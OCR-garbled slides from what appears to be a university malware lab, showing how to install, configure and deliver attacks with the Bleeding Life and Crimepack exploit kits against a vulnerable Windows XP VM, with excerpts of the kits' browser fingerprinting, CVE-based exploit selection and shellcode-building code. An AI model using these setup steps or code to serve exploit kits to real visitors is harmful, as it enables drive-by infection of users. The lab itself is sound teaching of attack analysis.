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Lab Objectives

» In this lab we will setup and deploy two exploit kits

» Easy exploit kit:
» Bleeding Life

» Advanced configuration (for those who already know BL):
» Crimepack

» An exploit kit is a tool hosted on a website that, when contacted by
a victim browser, may launch one or more attacks against software
vulnerabilities present on the host system. Upon successful
exploitation, the kit may deliver arbitrary instructions for the victim
system to execute (e.g. malware).
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Exploit kit - details

» The client contacts the webserver that hosts the

kit
» Exploit Kit detects client configuration (browser,
plugins ..)

» Select exploits that may work
» Ekit delivers vulnerability exploit

» If exploitis successful the client executes
shellcode arbitrarly defined by the attacker and,
typically, downloads malware

» Malware executed and system infected
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1) Visit a compromized web site

‘ Compromlsed
Web Site

2) Redirect to an exploit kit

3) Visit an exploit kit page
Victim ‘ |

4) Return explonts

5) Download malware Exploit Kit



Lab setup 4

» Debian VM

Attivita gio16.12 it v
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Victim machine

» Start up your Windows XP machine
» User: user
» Pwd: mallab

» Onthe desktop you can find a folder with installers of vulnerable
applications

» Available software:
» Adobe Reader;
Firefox;
Opera Browser;

>

>

» Flash Player;
» Java;

>

Quicktime
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Get XP's IP

» Open terminal (start->run -> “cmd” -> enter)
» ipconfig
» Will give you the ip address of the machine

» Typically 192.168.56.x

_ﬂ,,,}: mvictim
‘ i &

Internet ) My Documents
@w;:mawm ~ Run @@

& My Pictures

J My Music

Type the name of a program, folder, document, or

:g;g My Computer Internet resource, and Windows will open it for you.

9 Control Panel
9) Help and Support

our Wi WS XP ,) Search
a

open: | cmd|

——

’:: start

All Programs D

Log Off @ Turn OFf Computer

77 start

| = c:\winDowsiSystem32\cmd.exe M=k
Microsoft Windows XP [Uersion 5.1.260801] u
(C> Copyright 1985-2081 Microsoft Corp. .

WMC:\Documents and Settings\mvictim>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 3:

Connection—specific DNS Suffix . : unitn.it

IP Address. . . . « « = = . - . . = 10.0.2.4
Subnet Mask . . . . . . . . . . . & 255.255.255.8
Default Gateway . . . . . . . . . = 18.8.2.1

C:\Documents and Settings\mvictim>
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Server Machine

» Debian

» Credentials:
» User: mlab
» Pwd: mlab

» All exploit kits are in
» /home/mlab/ekits

» You canrun applications, including the terminal, by searching them
in the interface clicking “Activities” on top left
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Foundamental *nix commands 8

» su:super user
» gedit <path+filename>: edit file using GUI

» cp <file1> <file2>: copies <filel> in <file2>. Can specify paths different from current

one

» cp -r directory1 directory2: copies all content of directory1 in directory?2

» chmod -R 777 directory: assigns full privileges to user for all files and folders in
directory

» cd path: allows you to havigate through filesystem

» Is: shows content of current dir

» my <file1> <file2>: moves filel 1o file2

» rm <file1> <file2> <file...>: removes specified files

» TIP: In the terminal you can use the tab key to autocomplete entries

» E.g..cd/home/m +TAB = cd /home/mlab
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Setup Server

» Start machine

» Open terminal, type
» SU
» password: mlab
» ifconfig eth0
» Get IP della macchina
» If no IP, type
» dhclient eth0

» -> assigns ip to interface

» ping <ip XP>

Attivita

< Terminale ~

mer 11.09

mlab@mlab: ~

Modifica Visualizza Cerca Terminale Aiuto

root@mlab: /home/mlab# ifconfig
th

ethO Lin
inet

root@mlab :/home/m
RTNETLINK answe

rnet

txqueuele
628 (22.0 KiB)

# dhclient
File exists

» You should get an ICMP echo reply from XP machine
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Setup Server 10

» Check that apache server works

/ Index of /

» Open the browser (lceweasel) € @ localhost

> Visif Index of /

» Localhost _ _ o
Name Last modified Size Description

» From the Windows XP machine visit with

explorer @ html/ 2015-06-12 13:48

Apache/2.4.10 (Debian) Server at localhost Port 80

» <IP debian>

» If both webpages are like this on the right,
all is working
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SQL database

php
3 ; RElz00 ¢
» The debian machine has EEREEEES
d SQL bOCkend as d -l-_éinformation_schema

database #3 mysql

+. | performance_schema
P

» The exploit kits will use it s
to store data about the
attacks

» You can visit the SQL
interface using
phpmyadmin =7

| phpmyadmin

» Open lceweasel
» localhost/phpmyadmin
» Username - roof
» Password - mlab
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] ]

-

) Databases [ sQL

1 Server: localhost

& Change password

= Server connection collation @:

&’ Language @: | English
) Theme: pmahomme j

Font size:| 82% J

&~ More settings

4s Status &=

utf8mb4_general_ci

Users

& Export |5} Import

=

¥ More

e Server: Localhost via UNIX socket
e Server type: MySQL

e Server version: 5.5.43-0+deb8ul -
(Debian)

e Protocol version: 10
e User: root@localhost
e Server charset: UTF-8 Unicode (utf8)

e Apache/2.4.10 (Debian)

e Database client version: libmysq| -
5.5.43

e PHP extension: mysqli @

 Version information: 4.2.12deb2
e Documentation

o Wiki

« Official Homepage

« Contribute

* Get support
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1° kit Bleedinchii&

» Second relase

» Most efficient for configurations between 2008-
2011

» Easyto configure

» You can check the code by opening the file of
interest with a text editor e.g.
/home/mlab/ekits/bleeding_life/index.php

» Exploit code is in folder modules
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Kit code analysis: Bleeding Life 14
Index.php

Open ~/ekits/bleeding_life/index.php using gedit
(double click on icon or from terminal invoke gedit)

User Agent detection:
Bleeding Life verifies which browser is contacting the kit

If that's not a known browser, quits

if(($data[ 'browser'] != "FIREFOX" && $data[ 'browser'] != "CHROME" && $datal 'browser'] != "SAFARI"
&& $datal'browser'] I= "OPERA" && $data[ 'browser'] I= "MSIE") || $data['platform'] == "OTHER"){

exit();

}
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Kid code analysis: Bleeding Lite 15

Index.php

Checks presence of Adobe
reader:

Initialise a_version.exists & a_version.versior
Checks version of adobe reader
Gets the version of adobe, if it exists

Returns variable

Checks presence of Java:

Initialises variables | version.exists,
j_version.version & j_version.build

Checks version of java

Same function as before, Javais argument

Returns
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function getVersion(str)

if(str=="Acrobat"){

var a_version=new
a_version.exists=

if(a_detect!=null){
a_version.exists=true;
var vArray = a_detect.split(",");
a_version.version = vArray[0] + vArray[l] + vArray[2];

if(str=="Java’
var j_version=new Object();
j_version.exists=fa ;
j_version.version

i version.build='0

var j_detect = PluginDetect.getVersion('Java', 'includ etJavalnfo.jar'

if(j_detect!=null){
j_version.exists=true;
var vArray = j detect.split(",")
j_version.version = vArray[l];
j_version.build = vArray[3];

return j version




Analisi codice: Bleeding Lite 16

Index.php

Exploit selection
Checks if Adobe is present:

Checks if version is between 800 & 821:
Loads correct exploit Adobe-80-2010-0188

Same exploit selection procedure

Is Java there?¢

Check if versioin is before 6.19:

Loads correctexploit Java-2010-3552

Same, if
Browser is not Explorer
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functiop A

lelse if(a_version.version >=
if(a_version.version <
FramesArray.push("load module.php?e=Adobe-90-2010-0188");
telse if(a_version.version < 933){
FramesArray.push("load module.php?e=Adobe-2010-1297") ;

}else if(a_version.version < 940){
FramesArray.push("load module.php?e=Adobe-2010-2884") ;

}
telse if(a_version.version >= 700 && a_version.version < 711){
FramesArray.push("load_module.php?e=Adobe-2008-2992") ;

}

functiop

<?

1f($datd browser'] == "MSIE"){

telse if(j version.version == 6 && j version.build < LL){
FramesArray push("load mo1ule.php39 Java-2010-3552") ;




Code analysis example: Exploit 17
Adobe-80-2010-0188.php

$pdf = generate pdf($config url . "/download file.php?e=Adobe-80-2010-0188");

$tiff .
$tiff .

National Cyber Awareness System #stack data - do not change
Vulnerability Summary for CVE-2010-0188 $tiff = $tiff . 3
Original release date: 02/22/2010 $tlTT = $tlj-ff . '%
Last revised: 08/21/2010 $tiff = $riff . )2
$tiff = $tiff . 4
Source: US-CERT/NIST $tiff = $tiff .
Overview $tiff = $tiff .
$tiff = $tiff .
Unspecified vulnerability in Adobe Reader and Acrobat 8.x before 8.2.1 and 9.x before 9.3.1 $tiff = $tiff .
allows attackers to cause a denial of service (application crash) or possibly execute arbitrary $ tiff = $ tiff
code via unknown vectors. ’ l - l '
$tiff = $tiff .
$tiff = $tiff . ¢
$tiff = $tiff . A
$tiff = $tiff . A
$tiff = $tiff . A
. $tiff = $tiff . A
Open file: $Tiff = $iff . A
$tiff = $tiff . A
modules/Adobe-80-2010-0188.php $tiff = $tiff . A
$tiff = $tiff . A
$tiff = $tiff . A
e $tiff = $tiff A
Buffer overflow vulnerability. Executes $Tiff = $tiff A

machine code S

return $tiff;
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Exploif

Java-2010-3552.php

National Cyber Awareness System

Vulnerability Summary for CVE-2010-3552
Original release date: 10/19/2010

Last revised: 07/18/2011

Source: US-CERT/NIST

Overview

Unspecified vulnerability in the New Java Plug-in component in Oracle Java SE and Java for
Business 6 Update 21 allows remote attackers to affect confidentiality, integrity, and
availability via unknown vectors.

Shellcode generated considering call -
home url

Insert shellcode in stack

Adds Java file in webpage
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$docbase = make docbase($config url .

"/download file.php?e=Jave-2010-3552");

include("config.php");
include("include/util.php");
include("include/shellcode.php");

function make_docbase($url){

$shellcode = shellcode_dl_exec($url);

$docbase
$docbase .
$docbas
$docba
$docha
$docha
$docba
$docba
$docba
$docba
$docba
$dochase .

\x41\x41\x41\

\ \ W41\ x41\x41\
\x41\x41\

x41\x41\x41\x41\x41\x41\

$docbase = $docbase . $shellcode;

return $docbase;

make_docbase ($config url

. \x41\
x41\x41\x41\x

"/download_file.php?e=Java-2010-3552");

CCCCCCCCCCecececc

\xdl Xx41";
\x41\x41";

<object id="java_obj" classid="clsid:CAFEEFAC-DEC7-0000-0000
<PARAM name="launchjnlp" value="1">

<PARAM name="docbase" value="<? echo $docbase ?7>">

</object>
<embed type="application/x-java-applet"

width="0" height="0"

</body>
</html>

-ABCDEFFEDCBA" width="0" height="0">

launchjnlp="1" docbase="<? echo $docb




Bleeding life configuration 19

mer 11.15

mlab@mlab: ~

Now we start configuring the kit to make it work
] . Copy bleeding ”fe in /VOr/WWW/ r::t@:1410::3}10\::::;1#Cceprca-r"TjL";i;:l;mI::;:kits/bleedingjife/ /var/www/

root@mlab:/home/mlab# cd /var/www/bleeding_life/
root@mlab:/var/www/bleeding_life# gedit config.php

2. From ternmiEess
» cp-r/home/mlab/ekits/bleeding_life /var/www/ e T RS B e fene [T CRRen 5 s

3 Config ki.l.’ S Se.I.U p The username for your MySQL database.
sq ! '] = 'root';
i ¥ //dbPassword: The password r your MySQL database.
$sqlSettings[ 'dbPassword'] = 'mlab';
1. cd /var/www/bleeding_life o e
: The name your MySQL database.
'S . $sqlSettings( 'dbName'] = 'bleeding_life';
2' gedlt Conflg'php //tableVisitorsList: The table name to track visitors. This is created in the install

process.
1. Set $salSettings[‘dbUsername’] to: root €username o
for SQL et US?I‘; E:jmfiﬁ;‘name used to secure the statistics page

password used to secure the statistics page
lab";

$sqlSettings( 'tableVisitorsList'] = 'visitors_list';

2‘ SeT pcsswords TO: mlqb é pqssword for SQL ned: enable the java signed applet. (this requires user interaction)
d = true;
3.  Set $payload_filename to: calc.exe € our malware FTICHELER S5 S G S e
p i filename = 'calc '
4. SeT $C0nf|g_L.Jl'| :' ‘h“p://<|p_ser\/er>/b|eedi.ng_"fe/’ é I ing};dg;etﬁglhto your pack is located. This is very important. Please make
url that goes in input to shellcode generation feomal = N7/ 2 L/poedi ATl
(remember?) e

3.  Save and close
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Setup Bleeding Life (2) 20

3. Create new database for bleeding_life > needed 1o store attack
records

1. Go to:localhost/phpmyadmin
2. Database

3. insert: bleeding_life to create db

£
(llceweasel v ven11l.37 “ [;EServer: localhost

Attivita -

localhost / localhost | phpMyAdmin J Database L SQL |§ Stato =7 Utenti [&& Esporta |5} Impo

| 4ua localhost / localhost ... % | 4

€ ) &2 ) @ localhost/phpmyadmin/index.php?token=

Database

rsenerlocalbost
php =

Recente Preferiti
New

& Crea un nuovo database g

bleeding_life Codifica caratteri
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Setup Bleeding Life (3) 21

50
Mceweasel ¥

Attivita ey

4. Setup bleedinglife - call existing procedure to
configure DB

sua localhost / localhost ... % | http://localho...life/install/ * %

localhost/bleeding_life/instal

i ife/i Creating Table visitors_list
» Visit: localhost/bleeding_life/install Creating Table visitors lis

Installation Complete.

» Checknew table in database

» |f installation is successful:

» Control page: localhost/bleeding_life /statistics

» User: admin

LLLLLLLLLLL

» Pwd: mlab < setup by you
» Aftack delivery page: localhost/bleeding_life
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Deliver attack 22

» IMPORTANT:After every attack you need to reset the stats
» BL does not deliver two aftfacks to same IP
» From victim machine visit
» <ip_server>/<secuser>/bleeding_life
» Nothing should happen
» Install Java/jre-1_5_0_07
» Visit again <ip_server>/bleeding_life
» Crash
» Update Java jre-6ul-windows-i586-p
» Repeat visit
» Infection happens

» Check in BLstat page
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Crimepack 24

» Version 3.1.3releasedin 2010

» Sourcecode is encrypted, exploits
are too

» Code isin ~/ekits/crimepack

» Try open a file with a text editor >
not usable code
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Crimepack install( 1) 25

From terminal
1. cp -r /home/mlab/ekits/crimepack /var/www

2. a2enmod dav_fs
3. a2enmod dav
4. mkdir /var/www/webdav
5. gedit /etc/apache2/sites-available/default menemE
File Modifica Visualizza Cerca Terminale Aiuto
» Insert: mlab@mlab:~$ su
Password:
A“GS /WedeV /VOr/WWW/WebdGV root@mlab:/home/mlab# gedit /etc/apache2/sites-available/default
<Location /webdav> Apri v || @ F:’efa"“m
14 /webd / / /webd
Dav On ettt famodmn e
R DAV O
</Location> </Loc2tion>
6. mv /home/mlab/ekits/crimepack/data.jar

/var/www/webdav
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Install CrimePack (2) 26

lonCube

Attivita !gedit v ven 15.49

7. mv /home/mlab/ekits/ioncube | o e
/var/www/ioncube

8. chmod-R 777 /var/www/ioncube

/etc/phpS/apache2

7. gedit /etc/php5/apache2/php.ini  Bible inilatization tio guarsiy cettad oy i 30 respreisto fr
10. Below [PHP] add:

10. php.ini
» zend exitension=
/var/www/ioncube/ioncube_loader_lin_5.6.s0 Pf('P:HPS'b
S joncupe
11. /etc/init.d/apache2 restart T e
» Should restart with no error ionCube Loader Wizard

Loader Installed Successt fully

12. Visit the following URL:
localhost/ioncube/loader-wizard.php

a For security reasons we advise that you remove this Wizard script from your server now that the ionCube Loader is installed.

The ionCube Loader version 5.0.7 for PHP 5.6 is installed and encoded files should run successfully.

Please contact the script provider if you do experience any problems running encoded files.
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Install CrimePack (3) 27
Set-up di CrimePack

(59

Attivitd  ({llcewease L~ ven 16.06 it v Ow B~

crimepack install - Iceweasel

13. chmod -R 777 /var/www/crimepack < <] [@ oo

14. rm /var/www/crimepack/config.inc.php
/var/www/crimepack/webdav.php

15. Visit with browser
localhost/crimepack/install.php

16. Compile fields
13. install password = password
14. admin password = mlab
15. mysql pass = mlab

16. webdaw settings =
\ \localhost\webdav \ data.jar

17.  Click install crimepack
18. Wait a few minutes. Takes time.

© 20092010 crimepack group - all rights reserved
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16. compilate tutti i campi



CrimePack (4) 28

Weaponising CrimePack

19. When installation finishes, you're prompted with @
dialogue to load your malware

» For us, calc.exe

» /var/www/crimepack/calc.exe

20. From terminal: rm /var/www/crimepack/install.php

21

—

Visit localhost/crimepack/control.php Sl S
22. Login

» Username: crimepack

» Password: mlab

23. Authenticate with user and pwd you selected at
configuration time(admin e mlab) 22. Autenticazione
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INnterface 29

» Much more information here than in
bleeding life’s interface

» Referrers, Countries, Blacklist Check,
Downloader e iFrame

MAiN + REFRESH + REFERRERS + COUNTRIES + BLACKLIiST CHECK + DOWNLOADER + iFRAME+ CLEAR STATS + SETTiNGS + LOGOUT

» Clear Stats must be used atf every attack as ) S %
crimepack only delivers attack once to each ————1—1—1
IP .

» In seftings you have the ability to further = u =

personalise the kit, including exploit selection
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Attack 30

2) Mozilla Firefox - E]@@‘

File Edit ‘iew History Bookmarks Tools Help

|_| http:{{10.0.2.15/crimepackf

(&) Qinwinooztsiomeredd  tr-le)rese P

> F ro m Vi C -I-i m m O C h i n e V i S i-I- : CUAwpzyjo#ifLJ5agJSe began things act truth upon living union possible want plane children record quality upon reaction wish step fire more been pay 2

tell air trying worked middle single heard
aXUdulATeDuTALE
@] Error. Click for details

» <IP_server>/crimepack

» Default windows configuration is

vulnerable =2 calc.exe
5 nnan
» Can see updated statifics on nEnn

Crim pO C k, S COHTrOl po nel @] Error. Click for details

» You can try different configurations and
browser to see whether the attack
always works or not

@] Eror. Click for details
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